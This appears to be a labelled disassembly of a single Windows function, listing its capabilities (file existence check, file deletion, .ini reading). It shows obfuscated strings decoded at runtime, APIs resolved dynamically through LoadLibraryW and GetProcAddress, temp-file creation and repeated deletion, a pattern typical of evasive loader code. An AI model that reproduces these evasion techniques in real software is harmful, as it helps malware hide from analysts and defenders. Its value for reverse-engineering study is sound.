Function at 0x4016e0
Capabilities:
Check if file exists
Delete file
Read .ini file

Disassembly:
mov eax, 0x165c
call fcn.00409730
mov eax, dword [0x40f010]
xor eax, esp
mov dword [esp + 0x1658], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
mov word [esp + 0x220], ax
call fcn.004023e0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0xa4a]
push eax
mov word [esp + 0xa4c], dx
call fcn.004023e0
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x84e]
push edx
mov word [esp + 0x850], cx
call fcn.004023e0
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xc6a]
push ecx
mov word [esp + 0xc6c], ax
call fcn.004023e0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x65e]
push eax
mov word [esp + 0x660], dx
call fcn.004023e0
add esp, 0x3c
lea esi, [esp + 0x82c]
call fcn.00401180
lea edi, [esp + 0xc3c]
call fcn.00401410
lea esi, [esp + 0x214]
call fcn.00401620
mov edi, esi
add edi, 0xfffffffe
jmp 0x4017c0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4017c0
mov ecx, 8
mov esi, str.config_temp.ini
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x125e]
push edx
movsw word es:[edi], word [esi]
mov word [esp + 0x1260], cx
call fcn.004023e0
mov edi, 0x32
lea eax, [esp + 0x1260]
mov ecx, str.ivwt_56iqk1jhnhw_oh3hrve1ef4ix7dqqjnmffoscy5qok
call fcn.00401000
lea eax, [esp + 0x838]
push eax
lea ecx, [esp + 0x1264]
push ecx
lea edx, [esp + 0xa48]
call fcn.00401bb0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x43a]
push eax
mov word [esp + 0x43c], dx
call fcn.004023e0
add esp, 0x20
mov edi, 0xa
lea eax, [esp + 0x41c]
mov ecx, str.Vtoqtt5lmn
call fcn.00401000
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [esp + 0x41c]
push ecx
call ebx
mov esi, eax
test esi, esi
je 0x40198c
push ebp
push 0x103
lea edx, [esp + 0x15]
push 0
push edx
mov byte [esp + 0x1c], 0
call fcn.004023e0
add esp, 0xc
mov edi, 0x12
lea eax, [esp + 0x10]
mov ecx, str.VTOHtutpcgXtLptfY
call fcn.00401380
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [esp + 0x10]
push eax
push esi
call ebp
mov dword [0x411b10], eax
test eax, eax
je 0x40198b
push 0x208
lea ecx, [esp + 0x424]
push 0
push ecx
call fcn.004023e0
add esp, 0xc
mov edi, 0xb
lea eax, [esp + 0x420]
mov ecx, str.Xkqmsk6eno
call fcn.00401000
lea edx, [esp + 0x420]
push edx
call ebx
mov esi, eax
test esi, esi
je 0x40198b
push 0x104
lea eax, [esp + 0x14]
push 0
push eax
call fcn.004023e0
add esp, 0xc
mov edi, 0x14
lea eax, [esp + 0x10]
mov ecx, str.EgoiykzmEdgmkLvut_
call fcn.00401380
lea ecx, [esp + 0x10]
push ecx
push esi
call ebp
mov dword [0x411b14], eax
test eax, eax
je 0x40198b
lea edx, [esp + 0xa38]
push edx
call eax
push 0
push 0
lea eax, [esp + 0x220]
push eax
lea ecx, [esp + 0xa44]
push ecx
push 0
call dword [0x411b10]
test eax, eax
je 0x40198b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
lea edx, [esp + 0x220]
push edx
lea eax, [esp + 0xa44]
push eax
push 0
call dword [0x411b10]
pop ebp
lea ecx, [esp + 0x214]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x401b46
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0xe4e]
push eax
mov word [esp + 0xe50], dx
call fcn.004023e0
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x1062]
push edx
mov word [esp + 0x1064], cx
call fcn.004023e0
add esp, 0x18
lea eax, [esp + 0x214]
push eax
push 0x104
lea ecx, [esp + 0x1054]
push ecx
push str.ivwt_56iqk1jhnhw_oh3DyvnupdqjC_ksAy_ube__x_hkukyiBk
push str.temp3
push str.temp
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [esp + 0x104c]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401a20
sub eax, edx
sar eax, 1
mov edi, eax
lea eax, [esp + 0xe44]
lea ecx, [esp + 0x104c]
call fcn.00401000
call fcn.004010a0
test eax, eax
lea edx, [esp + 0xc3c]
lea ecx, [esp + 0xe44]
lea eax, [esp + 0x82c]
je 0x401a82
push 0
push edx
push eax
push str.ben_xingyun
push ecx
lea edx, [esp + 0x638]
call fcn.00401bb0
add esp, 0x14
call fcn.00401570
jmp 0x401a9b
push 1
push edx
push eax
push str.ben_xingyun
push ecx
lea edx, [esp + 0x638]
call fcn.00401bb0
add esp, 0x14
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x16]
push eax
mov word [esp + 0x18], dx
call fcn.004023e0
add esp, 0xc
lea esi, [esp + 0xc]
call fcn.00401620
mov eax, esi
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401ac3
mov ecx, dword [str._temp.txt]
mov edx, dword [0x40dd00]
mov dword [eax], ecx
mov ecx, dword [0x40dd04]
mov dword [eax + 4], edx
mov edx, dword [0x40dd08]
mov dword [eax + 8], ecx
mov ecx, dword [0x40dd0c]
mov dword [eax + 0xc], edx
lea edx, [esp + 0x624]
push edx
mov dword [eax + 0x10], ecx
call dword [0x411b14]
push 0
push 0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x630]
push ecx
push 0
call dword [0x411b10]
test eax, eax
je 0x401b3f
push 0
push 0
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x630]
push eax
push 0
call dword [0x411b10]
lea ecx, [esp + 0xc]
push ecx
call ebx
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x1466]
push eax
mov word [esp + 0x1468], dx
call fcn.004023e0
add esp, 0xc
lea esi, [esp + 0x145c]
call fcn.00401280
xor esi, esi
lea ecx, [esp + 0x145c]
push ecx
call ebx
test eax, eax
jne 0x401b88
inc esi
cmp esi, 0xa
jl 0x401b74
mov ecx, dword [esp + 0x1664]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00401bca
add esp, 0x165c
ret 0x10